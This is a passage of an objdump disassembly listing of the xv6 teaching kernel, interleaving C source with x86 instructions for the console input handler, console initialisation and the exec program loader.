8010078d: e8 5e fc ff ff call 801003f0 <consputc>
80100792: 8b 4d 08 mov 0x8(%ebp),%ecx
break;
80100795: e9 1e ff ff ff jmp 801006b8 <cprintf+0x68>
8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uint *argp;
char *s;
locking = cons.locking;
if(locking)
acquire(&cons.lock);
801007a0: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007a7: e8 d4 3a 00 00 call 80104280 <acquire>
801007ac: e9 b6 fe ff ff jmp 80100667 <cprintf+0x17>
if (fmt == 0)
panic("null fmt");
801007b1: c7 04 24 9f 6d 10 80 movl $0x80106d9f,(%esp)
801007b8: e8 b3 fb ff ff call 80100370 <panic>
801007bd: 8d 76 00 lea 0x0(%esi),%esi
801007c0 <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007c0: 55 push %ebp
801007c1: 89 e5 mov %esp,%ebp
801007c3: 57 push %edi
int c, doprocdump = 0;
801007c4: 31 ff xor %edi,%edi
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007c6: 56 push %esi
801007c7: 53 push %ebx
801007c8: 83 ec 1c sub $0x1c,%esp
801007cb: 8b 75 08 mov 0x8(%ebp),%esi
int c, doprocdump = 0;
acquire(&cons.lock);
801007ce: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007d5: e8 a6 3a 00 00 call 80104280 <acquire>
801007da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((c = getc()) >= 0){
801007e0: ff d6 call *%esi
801007e2: 85 c0 test %eax,%eax
801007e4: 89 c3 mov %eax,%ebx
801007e6: 0f 88 8c 00 00 00 js 80100878 <consoleintr+0xb8>
switch(c){
801007ec: 83 fb 10 cmp $0x10,%ebx
801007ef: 90 nop
801007f0: 0f 84 da 00 00 00 je 801008d0 <consoleintr+0x110>
801007f6: 0f 8f 9c 00 00 00 jg 80100898 <consoleintr+0xd8>
801007fc: 83 fb 08 cmp $0x8,%ebx
801007ff: 90 nop
80100800: 0f 84 a0 00 00 00 je 801008a6 <consoleintr+0xe6>
input.e--;
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
80100806: 85 db test %ebx,%ebx
80100808: 74 d6 je 801007e0 <consoleintr+0x20>
8010080a: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010080f: 89 c2 mov %eax,%edx
80100811: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx
80100817: 83 fa 7f cmp $0x7f,%edx
8010081a: 77 c4 ja 801007e0 <consoleintr+0x20>
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010081c: 89 c2 mov %eax,%edx
8010081e: 83 e2 7f and $0x7f,%edx
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
80100821: 83 fb 0d cmp $0xd,%ebx
80100824: 0f 84 12 01 00 00 je 8010093c <consoleintr+0x17c>
input.buf[input.e++ % INPUT_BUF] = c;
8010082a: 83 c0 01 add $0x1,%eax
8010082d: 88 9a 20 ff 10 80 mov %bl,-0x7fef00e0(%edx)
80100833: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(c);
80100838: 89 d8 mov %ebx,%eax
8010083a: e8 b1 fb ff ff call 801003f0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
8010083f: 83 fb 04 cmp $0x4,%ebx
80100842: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
80100847: 74 12 je 8010085b <consoleintr+0x9b>
80100849: 83 fb 0a cmp $0xa,%ebx
8010084c: 74 0d je 8010085b <consoleintr+0x9b>
8010084e: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx
80100854: 83 ea 80 sub $0xffffff80,%edx
80100857: 39 d0 cmp %edx,%eax
80100859: 75 85 jne 801007e0 <consoleintr+0x20>
input.w = input.e;
8010085b: a3 a4 ff 10 80 mov %eax,0x8010ffa4
wakeup(&input.r);
80100860: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
80100867: e8 c4 35 00 00 call 80103e30 <wakeup>
consoleintr(int (*getc)(void))
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
8010086c: ff d6 call *%esi
8010086e: 85 c0 test %eax,%eax
80100870: 89 c3 mov %eax,%ebx
80100872: 0f 89 74 ff ff ff jns 801007ec <consoleintr+0x2c>
}
}
break;
}
}
release(&cons.lock);
80100878: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010087f: e8 6c 3a 00 00 call 801042f0 <release>
if(doprocdump) {
80100884: 85 ff test %edi,%edi
80100886: 0f 85 a4 00 00 00 jne 80100930 <consoleintr+0x170>
procdump(); // now call procdump() wo. cons.lock held
}
}
8010088c: 83 c4 1c add $0x1c,%esp
8010088f: 5b pop %ebx
80100890: 5e pop %esi
80100891: 5f pop %edi
80100892: 5d pop %ebp
80100893: c3 ret
80100894: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
80100898: 83 fb 15 cmp $0x15,%ebx
8010089b: 74 43 je 801008e0 <consoleintr+0x120>
8010089d: 83 fb 7f cmp $0x7f,%ebx
801008a0: 0f 85 60 ff ff ff jne 80100806 <consoleintr+0x46>
input.e--;
consputc(BACKSPACE);
}
break;
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
801008a6: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008ab: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008b1: 0f 84 29 ff ff ff je 801007e0 <consoleintr+0x20>
input.e--;
801008b7: 83 e8 01 sub $0x1,%eax
801008ba: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
801008bf: b8 00 01 00 00 mov $0x100,%eax
801008c4: e8 27 fb ff ff call 801003f0 <consputc>
801008c9: e9 12 ff ff ff jmp 801007e0 <consoleintr+0x20>
801008ce: 66 90 xchg %ax,%ax
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
801008d0: bf 01 00 00 00 mov $0x1,%edi
801008d5: e9 06 ff ff ff jmp 801007e0 <consoleintr+0x20>
801008da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
break;
case C('U'): // Kill line.
while(input.e != input.w &&
801008e0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
801008e5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801008eb: 75 2b jne 80100918 <consoleintr+0x158>
801008ed: e9 ee fe ff ff jmp 801007e0 <consoleintr+0x20>
801008f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
input.e--;
801008f8: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(BACKSPACE);
801008fd: b8 00 01 00 00 mov $0x100,%eax
80100902: e8 e9 fa ff ff call 801003f0 <consputc>
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100907: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010090c: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
80100912: 0f 84 c8 fe ff ff je 801007e0 <consoleintr+0x20>
input.buf[(input.e-1) % INPUT_BUF] != '\n'){
80100918: 83 e8 01 sub $0x1,%eax
8010091b: 89 c2 mov %eax,%edx
8010091d: 83 e2 7f and $0x7f,%edx
case C('P'): // Process listing.
// procdump() locks cons.lock indirectly; invoke later
doprocdump = 1;
break;
case C('U'): // Kill line.
while(input.e != input.w &&
80100920: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx)
80100927: 75 cf jne 801008f8 <consoleintr+0x138>
80100929: e9 b2 fe ff ff jmp 801007e0 <consoleintr+0x20>
8010092e: 66 90 xchg %ax,%ax
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
}
}
80100930: 83 c4 1c add $0x1c,%esp
80100933: 5b pop %ebx
80100934: 5e pop %esi
80100935: 5f pop %edi
80100936: 5d pop %ebp
break;
}
}
release(&cons.lock);
if(doprocdump) {
procdump(); // now call procdump() wo. cons.lock held
80100937: e9 d4 35 00 00 jmp 80103f10 <procdump>
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010093c: 83 c0 01 add $0x1,%eax
8010093f: c6 82 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%edx)
80100946: a3 a8 ff 10 80 mov %eax,0x8010ffa8
consputc(c);
8010094b: b8 0a 00 00 00 mov $0xa,%eax
80100950: e8 9b fa ff ff call 801003f0 <consputc>
80100955: a1 a8 ff 10 80 mov 0x8010ffa8,%eax
8010095a: e9 fc fe ff ff jmp 8010085b <consoleintr+0x9b>
8010095f: 90 nop
80100960 <consoleinit>:
return n;
}
void
consoleinit(void)
{
80100960: 55 push %ebp
80100961: 89 e5 mov %esp,%ebp
80100963: 83 ec 18 sub $0x18,%esp
initlock(&cons.lock, "console");
80100966: c7 44 24 04 a8 6d 10 movl $0x80106da8,0x4(%esp)
8010096d: 80
8010096e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100975: e8 96 37 00 00 call 80104110 <initlock>
devsw[CONSOLE].write = consolewrite;
devsw[CONSOLE].read = consoleread;
cons.locking = 1;
ioapicenable(IRQ_KBD, 0);
8010097a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100981: 00
80100982: c7 04 24 01 00 00 00 movl $0x1,(%esp)
void
consoleinit(void)
{
initlock(&cons.lock, "console");
devsw[CONSOLE].write = consolewrite;
80100989: c7 05 6c 09 11 80 70 movl $0x80100570,0x8011096c
80100990: 05 10 80
devsw[CONSOLE].read = consoleread;
80100993: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968
8010099a: 02 10 80
cons.locking = 1;
8010099d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554
801009a4: 00 00 00
ioapicenable(IRQ_KBD, 0);
801009a7: e8 54 19 00 00 call 80102300 <ioapicenable>
}
801009ac: c9 leave
801009ad: c3 ret
...
801009b0 <exec>:
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
{
801009b0: 55 push %ebp
801009b1: 89 e5 mov %esp,%ebp
801009b3: 81 ec 38 01 00 00 sub $0x138,%esp
801009b9: 89 5d f4 mov %ebx,-0xc(%ebp)
801009bc: 89 75 f8 mov %esi,-0x8(%ebp)
801009bf: 89 7d fc mov %edi,-0x4(%ebp)
uint argc, sz, sp, ustack[3+MAXARG+1];
struct elfhdr elf;
struct inode *ip;
struct proghdr ph;
pde_t *pgdir, *oldpgdir;
struct proc *curproc = myproc();
801009c2: e8 69 2d 00 00 call 80103730 <myproc>
801009c7: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp)
begin_op();
801009cd: e8 9e 21 00 00 call 80102b70 <begin_op>
if((ip = namei(path)) == 0){
801009d2: 8b 55 08 mov 0x8(%ebp),%edx
801009d5: 89 14 24 mov %edx,(%esp)
801009d8: e8 93 15 00 00 call 80101f70 <namei>
801009dd: 85 c0 test %eax,%eax
801009df: 89 c3 mov %eax,%ebx
801009e1: 0f 84 42 02 00 00 je 80100c29 <exec+0x279>
end_op();
cprintf("exec: fail\n");
return -1;
}
ilock(ip);
801009e7: 89 04 24 mov %eax,(%esp)
801009ea: e8 b1 0c 00 00 call 801016a0 <ilock>
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
801009ef: 8d 45 94 lea -0x6c(%ebp),%eax
801009f2: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp)
801009f9: 00
801009fa: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80100a01: 00
80100a02: 89 44 24 04 mov %eax,0x4(%esp)
80100a06: 89 1c 24 mov %ebx,(%esp)
80100a09: e8 72 0f 00 00 call 80101980 <readi>
80100a0e: 83 f8 34 cmp $0x34,%eax
80100a11: 74 25 je 80100a38 <exec+0x88>
bad:
if(pgdir)
freevm(pgdir);
if(ip){
iunlockput(ip);
80100a13: 89 1c 24 mov %ebx,(%esp)
80100a16: e8 15 0f 00 00 call 80101930 <iunlockput>
end_op();
80100a1b: e8 c0 21 00 00 call 80102be0 <end_op>
}
return -1;
80100a20: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100a25: 8b 5d f4 mov -0xc(%ebp),%ebx
80100a28: 8b 75 f8 mov -0x8(%ebp),%esi
80100a2b: 8b 7d fc mov -0x4(%ebp),%edi
80100a2e: 89 ec mov %ebp,%esp
80100a30: 5d pop %ebp
80100a31: c3 ret
80100a32: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf))
goto bad;
if(elf.magic != ELF_MAGIC)
80100a38: 81 7d 94 7f 45 4c 46 cmpl $0x464c457f,-0x6c(%ebp)
80100a3f: 75 d2 jne 80100a13 <exec+0x63>
goto bad;
if((pgdir = setupkvm()) == 0)
80100a41: e8 7a 60 00 00 call 80106ac0 <setupkvm>
80100a46: 85 c0 test %eax,%eax
80100a48: 89 85 ec fe ff ff mov %eax,-0x114(%ebp)
80100a4e: 74 c3 je 80100a13 <exec+0x63>
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a50: 66 83 7d c0 00 cmpw $0x0,-0x40(%ebp)
80100a55: 8b 75 b0 mov -0x50(%ebp),%esi
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
80100a58: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp)
80100a5f: 00 00 00
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a62: 0f 84 cb 00 00 00 je 80100b33 <exec+0x183>
80100a68: 31 ff xor %edi,%edi
80100a6a: eb 16 jmp 80100a82 <exec+0xd2>
80100a6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100a70: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80100a74: 83 c7 01 add $0x1,%edi
#include "defs.h"
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
80100a77: 83 c6 20 add $0x20,%esi
if((pgdir = setupkvm()) == 0)
goto bad;
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
80100a7a: 39 f8 cmp %edi,%eax
80100a7c: 0f 8e b1 00 00 00 jle 80100b33 <exec+0x183>
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
80100a82: 8d 4d c8 lea -0x38(%ebp),%ecx
80100a85: c7 44 24 0c 20 00 00 movl $0x20,0xc(%esp)
80100a8c: 00
80100a8d: 89 74 24 08 mov %esi,0x8(%esp)
80100a91: 89 4c 24 04 mov %ecx,0x4(%esp)
80100a95: 89 1c 24 mov %ebx,(%esp)
80100a98: e8 e3 0e 00 00 call 80101980 <readi>
80100a9d: 83 f8 20 cmp $0x20,%eax
80100aa0: 75 76 jne 80100b18 <exec+0x168>
goto bad;
if(ph.type != ELF_PROG_LOAD)
80100aa2: 83 7d c8 01 cmpl $0x1,-0x38(%ebp)
80100aa6: 75 c8 jne 80100a70 <exec+0xc0>
continue;
if(ph.memsz < ph.filesz)
80100aa8: 8b 45 dc mov -0x24(%ebp),%eax
80100aab: 3b 45 d8 cmp -0x28(%ebp),%eax
80100aae: 72 68 jb 80100b18 <exec+0x168>
goto bad;
if(ph.vaddr + ph.memsz < ph.vaddr)
80100ab0: 03 45 d0 add -0x30(%ebp),%eax
80100ab3: 72 63 jb 80100b18 <exec+0x168>
goto bad;
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
80100ab5: 89 44 24 08 mov %eax,0x8(%esp)
80100ab9: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100abf: 89 44 24 04 mov %eax,0x4(%esp)
80100ac3: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100ac9: 89 04 24 mov %eax,(%esp)
80100acc: e8 3f 5e 00 00 call 80106910 <allocuvm>
80100ad1: 85 c0 test %eax,%eax
80100ad3: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100ad9: 74 3d je 80100b18 <exec+0x168>
goto bad;
if(ph.vaddr % PGSIZE != 0)
80100adb: 8b 45 d0 mov -0x30(%ebp),%eax
80100ade: a9 ff 0f 00 00 test $0xfff,%eax
80100ae3: 75 33 jne 80100b18 <exec+0x168>
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
80100ae5: 8b 55 d8 mov -0x28(%ebp),%edx
80100ae8: 89 44 24 04 mov %eax,0x4(%esp)
80100aec: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100af2: 89 5c 24 08 mov %ebx,0x8(%esp)
80100af6: 89 54 24 10 mov %edx,0x10(%esp)
80100afa: 8b 55 cc mov -0x34(%ebp),%edx
80100afd: 89 04 24 mov %eax,(%esp)
80100b00: 89 54 24 0c mov %edx,0xc(%esp)
80100b04: e8 a7 5c 00 00 call 801067b0 <loaduvm>
80100b09: 85 c0 test %eax,%eax
80100b0b: 0f 89 5f ff ff ff jns 80100a70 <exec+0xc0>
80100b11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
freevm(pgdir);
80100b18: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100b1e: 89 04 24 mov %eax,(%esp)
80100b21: e8 1a 5f 00 00 call 80106a40 <freevm>
if(ip){
80100b26: 85 db test %ebx,%ebx
80100b28: 0f 85 e5 fe ff ff jne 80100a13 <exec+0x63>
80100b2e: e9 ed fe ff ff jmp 80100a20 <exec+0x70>
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100b33: 89 1c 24 mov %ebx,(%esp)
end_op();
ip = 0;
80100b36: 31 db xor %ebx,%ebx
if(ph.vaddr % PGSIZE != 0)
goto bad;
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
80100b38: e8 f3 0d 00 00 call 80101930 <iunlockput>
end_op();
80100b3d: e8 9e 20 00 00 call 80102be0 <end_op>
ip = 0;
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
80100b42: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax
80100b48: 05 ff 0f 00 00 add $0xfff,%eax
80100b4d: 25 00 f0 ff ff and $0xfffff000,%eax
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
80100b52: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx
80100b58: 89 44 24 04 mov %eax,0x4(%esp)
80100b5c: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100b62: 89 54 24 08 mov %edx,0x8(%esp)
80100b66: 89 04 24 mov %eax,(%esp)
80100b69: e8 a2 5d 00 00 call 80106910 <allocuvm>
80100b6e: 85 c0 test %eax,%eax
80100b70: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp)
80100b76: 74 a0 je 80100b18 <exec+0x168>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
80100b78: 2d 00 20 00 00 sub $0x2000,%eax
80100b7d: 89 44 24 04 mov %eax,0x4(%esp)
80100b81: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100b87: 89 04 24 mov %eax,(%esp)
80100b8a: e8 d1 5f 00 00 call 80106b60 <clearpteu>
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100b8f: 8b 55 0c mov 0xc(%ebp),%edx
80100b92: 8b 02 mov (%edx),%eax
80100b94: 85 c0 test %eax,%eax
80100b96: 0f 84 af 00 00 00 je 80100c4b <exec+0x29b>
#include "defs.h"
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
80100b9c: 89 d7 mov %edx,%edi
80100b9e: 8b 9d f0 fe ff ff mov -0x110(%ebp),%ebx
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100ba4: 31 f6 xor %esi,%esi
#include "defs.h"
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
80100ba6: 83 c7 04 add $0x4,%edi
80100ba9: 89 d1 mov %edx,%ecx
80100bab: eb 27 jmp 80100bd4 <exec+0x224>
80100bad: 8d 76 00 lea 0x0(%esi),%esi
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100bb0: 8b 07 mov (%edi),%eax
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100bb2: 8d 95 04 ff ff ff lea -0xfc(%ebp),%edx
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100bb8: 89 f9 mov %edi,%ecx
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
80100bba: 89 9c b5 10 ff ff ff mov %ebx,-0xf0(%ebp,%esi,4)
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100bc1: 83 c6 01 add $0x1,%esi
80100bc4: 85 c0 test %eax,%eax
80100bc6: 0f 84 8d 00 00 00 je 80100c59 <exec+0x2a9>
80100bcc: 83 c7 04 add $0x4,%edi
if(argc >= MAXARG)
80100bcf: 83 fe 20 cmp $0x20,%esi
80100bd2: 74 4e je 80100c22 <exec+0x272>
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bd4: 89 8d e8 fe ff ff mov %ecx,-0x118(%ebp)
80100bda: 89 04 24 mov %eax,(%esp)
80100bdd: e8 8e 39 00 00 call 80104570 <strlen>
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100be2: 8b 8d e8 fe ff ff mov -0x118(%ebp),%ecx
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100be8: f7 d0 not %eax
80100bea: 01 c3 add %eax,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bec: 8b 01 mov (%ecx),%eax
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
80100bee: 83 e3 fc and $0xfffffffc,%ebx
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
80100bf1: 89 04 24 mov %eax,(%esp)
80100bf4: e8 77 39 00 00 call 80104570 <strlen>
80100bf9: 8b 8d e8 fe ff ff mov -0x118(%ebp),%ecx
80100bff: 83 c0 01 add $0x1,%eax
80100c02: 89 44 24 0c mov %eax,0xc(%esp)
80100c06: 8b 01 mov (%ecx),%eax
80100c08: 89 5c 24 04 mov %ebx,0x4(%esp)
80100c0c: 89 44 24 08 mov %eax,0x8(%esp)
80100c10: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
80100c16: 89 04 24 mov %eax,(%esp)
80100c19: e8 82 60 00 00 call 80106ca0 <copyout>
80100c1e: 85 c0 test %eax,%eax
80100c20: 79 8e jns 80100bb0 <exec+0x200>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
}
iunlockput(ip);
end_op();
ip = 0;
80100c22: 31 db xor %ebx,%ebx
80100c24: e9 ef fe ff ff jmp 80100b18 <exec+0x168>
80100c29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
struct proc *curproc = myproc();
begin_op();
if((ip = namei(path)) == 0){
end_op();
80100c30: e8 ab 1f 00 00 call 80102be0 <end_op>
cprintf("exec: fail\n");
80100c35: c7 04 24 c1 6d 10 80 movl $0x80106dc1,(%esp)
80100c3c: e8 0f fa ff ff call 80100650 <cprintf>
return -1;
80100c41: b8 ff ff ff ff mov $0xffffffff,%eax
80100c46: e9 da fd ff ff jmp 80100a25 <exec+0x75>
goto bad;
clearpteu(pgdir, (char*)(sz - 2*PGSIZE));
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
80100c4b: 8b 9d f0 fe ff ff mov -0x110(%ebp),%ebx
80100c51: 31 f6 xor %esi,%esi
80100c53: 8d 95 04 ff ff ff lea -0xfc(%ebp),%edx
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c59: 8d 04 b5 04 00 00 00 lea 0x4(,%esi,4),%eax
80100c60: 89 d9 mov %ebx,%ecx
80100c62: 29 c1 sub %eax,%ecx
sp -= (3+argc+1) * 4;
80100c64: 8d 04 b5 10 00 00 00 lea 0x10(,%esi,4),%eax
80100c6b: 29 c3 sub %eax,%ebx
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c6d: 89 44 24 0c mov %eax,0xc(%esp)
80100c71: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
80100c77: c7 84 b5 10 ff ff ff movl $0x0,-0xf0(%ebp,%esi,4)
80100c7e: 00 00 00 00
ustack[0] = 0xffffffff; // fake return PC
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c82: 89 54 24 08 mov %edx,0x8(%esp)
goto bad;
ustack[3+argc] = sp;
}
ustack[3+argc] = 0;
ustack[0] = 0xffffffff; // fake return PC
80100c86: c7 85 04 ff ff ff ff movl $0xffffffff,-0xfc(%ebp)
80100c8d: ff ff ff
ustack[1] = argc;
80100c90: 89 b5 08 ff ff ff mov %esi,-0xf8(%ebp)
ustack[2] = sp - (argc+1)*4; // argv pointer
80100c96: 89 8d 0c ff ff ff mov %ecx,-0xf4(%ebp)
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
80100c9c: 89 5c 24 04 mov %ebx,0x4(%esp)
80100ca0: 89 04 24 mov %eax,(%esp)
80100ca3: e8 f8 5f 00 00 call 80106ca0 <copyout>
80100ca8: 85 c0 test %eax,%eax
80100caa: 0f 88 72 ff ff ff js 80100c22 <exec+0x272>
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cb0: 8b 4d 08 mov 0x8(%ebp),%ecx
80100cb3: 0f b6 11 movzbl (%ecx),%edx
80100cb6: 84 d2 test %dl,%dl
80100cb8: 74 14 je 80100cce <exec+0x31e>
#include "defs.h"
#include "x86.h"
#include "elf.h"
int
exec(char *path, char **argv)
80100cba: 8d 41 01 lea 0x1(%ecx),%eax
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
if(*s == '/')
last = s+1;
80100cbd: 80 fa 2f cmp $0x2f,%dl
80100cc0: 0f 44 c8 cmove %eax,%ecx
80100cc3: 83 c0 01 add $0x1,%eax
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
// Save program name for debugging.
for(last=s=path; *s; s++)
80100cc6: 0f b6 50 ff movzbl -0x1(%eax),%edx
80100cca: 84 d2 test %dl,%dl
80100ccc: 75 ef jne 80100cbd <exec+0x30d>
if(*s == '/')
last = s+1;
safestrcpy(curproc->name, last, sizeof(curproc->name));
80100cce: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
80100cd4: 89 4c 24 04 mov %ecx,0x4(%esp)
80100cd8: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80100cdf: 00
80100ce0: 83 c0 6c add $0x6c,%eax
80100ce3: 89 04 24 mov %eax,(%esp)
80100ce6: e8 45 38 00 00 call 80104530 <safestrcpy>
// Commit to the user image.
oldpgdir = curproc->pgdir;
80100ceb: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
curproc->pgdir = pgdir;
80100cf1: 8b 95 ec fe ff ff mov -0x114(%ebp),%edx
curproc->sz = sz;
80100cf7: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx
if(*s == '/')
last = s+1;
safestrcpy(curproc->name, last, sizeof(curproc->name));
// Commit to the user image.
oldpgdir = curproc->pgdir;
